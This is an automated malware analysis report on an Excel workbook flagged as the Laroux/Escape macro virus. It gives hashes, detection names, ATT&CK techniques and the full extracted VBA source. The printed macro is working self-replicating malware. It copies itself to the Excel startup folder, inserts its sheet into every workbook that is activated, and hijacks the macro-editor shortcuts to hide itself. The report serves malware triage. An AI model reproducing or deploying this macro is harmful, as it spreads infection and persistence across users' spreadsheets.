Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57b04f2e3e206769…

MALICIOUS

Office (OLE)

41.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 6714a89034220b5104d0d9fb5dfef777 SHA-1: 68e29548e52eef70f17ce4f3849c89d28b1c8f5c SHA-256: 57b04f2e3e206769751676901403e0a1c74e76f37135e74dc6850c77a00aa3c2
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic firings (Ppt.Malware.Laroux-10036124-0 and Xls.Trojan.Escape-1) indicate known malware. The VBA macro contains an Auto_Open subroutine that attempts to copy the workbook to the Excel startup folder as 'StartUp.xls', indicating an attempt to establish persistence. The document body contains what appears to be quality control data for steel coils, which is likely a lure.

Heuristics 3

  • ClamAV: Ppt.Malware.Laroux-10036124-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ppt.Malware.Laroux-10036124-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3698 bytes
SHA-256: 90a8f4d20e1a35b2a5510cafc54217470bfd00376c1ba60648131f0527fb3fa7
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
    Dim i As Single
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.Calculation = xlCalculationManual
'  On Error Resume Next
'  On Error GoTo 0
    Worksheets("barcode").ComboBox2.Clear
    Worksheets("barcode").ComboBox2.AddItem "MDM20"
    Worksheets("barcode").ComboBox2.AddItem "MDQ70"
    Worksheets("barcode").ComboBox2.AddItem "MDM21"
    Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
    Worksheets("barcode").ComboBox2.AddItem "MDT10"
    Worksheets("barcode").ComboBox2.AddItem "MDS90"
    Worksheets("barcode").ComboBox1.Clear
    Worksheets("barcode").ComboBox1.AddItem "新LOT"
'    Worksheets("barcode").ComboBox3.Clear
    
'    For i = 2 To Worksheets("sequence").[a65536].End(xlUp).Row
'    Worksheets("barcode").ComboBox3.AddItem Worksheets("sequence").Cells(i, 1)
'    Next i
    
    Dim MyArray(280, 3)


     '第一个列表框包含三个数据列
    Worksheets("barcode").ListBox1.ColumnCount = 3
     '第二个框包含六个数据列
    For i = 0 To 280
    MyArray(i, 0) = Worksheets("全工程（ZPT）").Cells(i + 4, 8)
    MyArray(i, 1) = Worksheets("全工程（ZPT）").Cells(i + 4, 6)
    MyArray(i, 2) = Worksheets("全工程（ZPT）").Cells(i + 4, 7)
    Next i


'     MyArray = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

'     MyArray = Worksheets("全工程（ZPT）").Range("f4:h9")

    Worksheets("barcode").ListBox1.List() = MyArray
'    ListBox2.Column() = MyArray
    
Rem  arr = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

Rem ListBox1.AddItem Worksheets("全工程（ZPT）").Cells(i, 6)
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.